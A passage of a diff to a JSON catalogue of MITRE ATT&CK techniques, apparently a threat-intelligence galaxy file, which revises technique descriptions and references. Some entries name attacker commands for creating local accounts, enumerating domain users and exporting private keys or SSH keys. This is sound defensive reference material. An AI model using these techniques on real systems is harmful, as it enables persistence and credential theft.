"https://blog.talosintelligence.com/ipfs-abuse/", "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" ] }, @@ -17824,7 +18084,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1078/001", - "https://capec.mitre.org/data/definitions/70.html", "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html", "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", @@ -17955,7 +18214,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1027/002", - "https://capec.mitre.org/data/definitions/570.html", "https://github.com/dhondta/awesome-executable-packing", "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf" ] @@ -18271,7 +18529,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1078/002", - "https://capec.mitre.org/data/definitions/560.html", "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts", "https://technet.microsoft.com/en-us/library/dn487457.aspx", "https://technet.microsoft.com/en-us/library/dn535501.aspx", @@ -18288,7 +18545,7 @@ "value": "Domain Accounts - T1078.002" }, { - "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups.", + "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups. ", "meta": { "external_id": "T1087.002", "kill_chain": [ @@ -18307,8 +18564,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1087/002", - "https://capec.mitre.org/data/definitions/575.html" + "https://attack.mitre.org/techniques/T1087/002" ] }, "related": [ @@ -18488,7 +18744,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1505/003", - "https://capec.mitre.org/data/definitions/650.html", "https://github.com/nsacyber/Mitigating-Web-Shells", "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "https://www.us-cert.gov/ncas/alerts/TA15-314A", @@ -18574,7 +18829,7 @@ "value": "Startup Items - T1037.005" }, { - "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", + "description": "Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command az ad user get-member-groups will list groups associated to a user account for Azure while the API endpoint GET https://cloudidentity.googleapis.com/v1/groups lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS GetBucketAcl API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.", "meta": { "external_id": "T1069.003", "kill_chain": [ @@ -18601,6 +18856,7 @@ "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0", "https://github.com/True-Demon/raindance", + "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/", "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" ] }, @@ -18773,7 +19029,7 @@ "value": "Unix Shell - T1059.004" }, { - "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", + "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management systems, such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", "meta": { "external_id": "T1078.004", "kill_chain": [ @@ -18941,7 +19197,7 @@ "value": "Proc Memory - T1055.009" }, { - "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed. Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)", + "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed. Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", "meta": { "external_id": "T1608.005", "kill_chain": [ @@ -18956,6 +19212,7 @@ "refs": [ "https://attack.mitre.org/techniques/T1608/005", "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/", + "https://blog.talosintelligence.com/ipfs-abuse/", "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/", "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service", "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection", @@ -18972,7 +19229,7 @@ "value": "Link Target - T1608.005" }, { - "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", + "description": "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)", "meta": { "external_id": "T1098.005", "kill_chain": [ @@ -18995,6 +19252,7 @@ "https://o365blog.com/post/mdm", "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a", "https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack", + "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft", "https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa", "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" ] @@ -19008,6 +19266,37 @@ "uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", "value": "Device Registration - T1098.005" }, + { + "description": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: A), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. ", + "meta": { + "external_id": "T1059.009", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Command: Command Execution" + ], + "mitre_platforms": [ + "IaaS", + "Azure AD", + "Office 365", + "SaaS", + "Google Workspace" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1059/009", + "https://github.com/Azure/azure-powershell" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "type": "subtechnique-of" + } + ], + "uuid": "55bb4471-ff1f-43b4-88c1-c9384ec47abf", + "value": "Cloud API - T1059.009" + }, { "description": "Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)\n\nTo help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)\n\nAdversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)\n\nSEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)", "meta": { @@ -19040,7 +19329,7 @@ "value": "SEO Poisoning - T1608.006" }, { - "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", + "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.", "meta": { "external_id": "T1132.001", "kill_chain": [ @@ -19095,7 +19384,36 @@ "value": "Symmetric Cryptography - T1521.001" }, { - "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", + "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ", + "meta": { + "external_id": "T1027.011", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "WMI: WMI Creation", + "Windows Registry: Windows Registry Key Creation" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1027/011", + "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats", + "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/" + ] + }, + "related": [ + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "type": "subtechnique-of" + } + ], + "uuid": "02c5abff-30bf-4703-ab92-1f6072fae939", + "value": "Fileless Storage - T1027.011" + }, + { + "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as username.(Citation: cisco_username_cmd)\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.", "meta": { "external_id": "T1136.001", "kill_chain": [ @@ -19109,11 +19427,13 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1136/001", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630" ] }, "related": [ @@ -19358,7 +19678,6 @@ "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", "http://www.uefi.org/about", "https://attack.mitre.org/techniques/T1542/001", - "https://capec.mitre.org/data/definitions/532.html", "https://en.wikipedia.org/wiki/BIOS", "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface", "https://github.com/chipsec/chipsec", @@ -19551,7 +19870,7 @@ "value": "Business Relationships - T1591.002" }, { - "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.", + "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", "meta": { "external_id": "T1136.003", "kill_chain": [ @@ -20162,7 +20481,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1566/001", - "https://capec.mitre.org/data/definitions/163.html", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" @@ -20323,7 +20641,7 @@ "value": "Device Lockout - T1629.002" }, { - "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", + "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`). (Citation: lambert systemd 2022) \n\nService unit files use the following directives to execute system commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives cover execution of commands when a service is started manually by `systemctl`, or on system start if the service is set to automatically start.\n* `ExecReload` directive covers when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives cover when a service is stopped. \n\nAdversaries may abuse systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files systemd uses upon reboot or starting a service.(Citation: Anomali Rocke March 2019) Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.\n\nThe `.service` file’s `User` directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.(Citation: Rapid7 Service Persistence 22JUNE2016) ", "meta": { "external_id": "T1543.002", "kill_chain": [ @@ -20344,10 +20662,10 @@ "refs": [ "http://man7.org/linux/man-pages/man1/systemd.1.html", "https://attack.mitre.org/techniques/T1543/002", - "https://capec.mitre.org/data/definitions/550.html", - "https://capec.mitre.org/data/definitions/551.html", + "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/", + "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/", "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang", - "https://www.freedesktop.org/wiki/Software/systemd/", + "https://www.freedesktop.org/software/systemd/man/systemd.service.html", "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence" ] }, @@ -20595,7 +20913,7 @@ "value": "TFTP Boot - T1542.005" }, { - "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", "meta": { "external_id": "T1552.004", "kill_chain": [ @@ -20608,13 +20926,17 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Network" ], "refs": [ + "https://aadinternals.com/post/deviceidentity/", "https://attack.mitre.org/techniques/T1552/004", "https://en.wikipedia.org/wiki/Public-key_cryptography", "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf", - "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token", + "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436" ] }, "related": [ @@ -20781,7 +21103,6 @@ "https://attack.mitre.org/techniques/T1498/002", "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/", "https://blog.cloudflare.com/reflections-on-reflections/", - "https://capec.mitre.org/data/definitions/490.html", "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf", 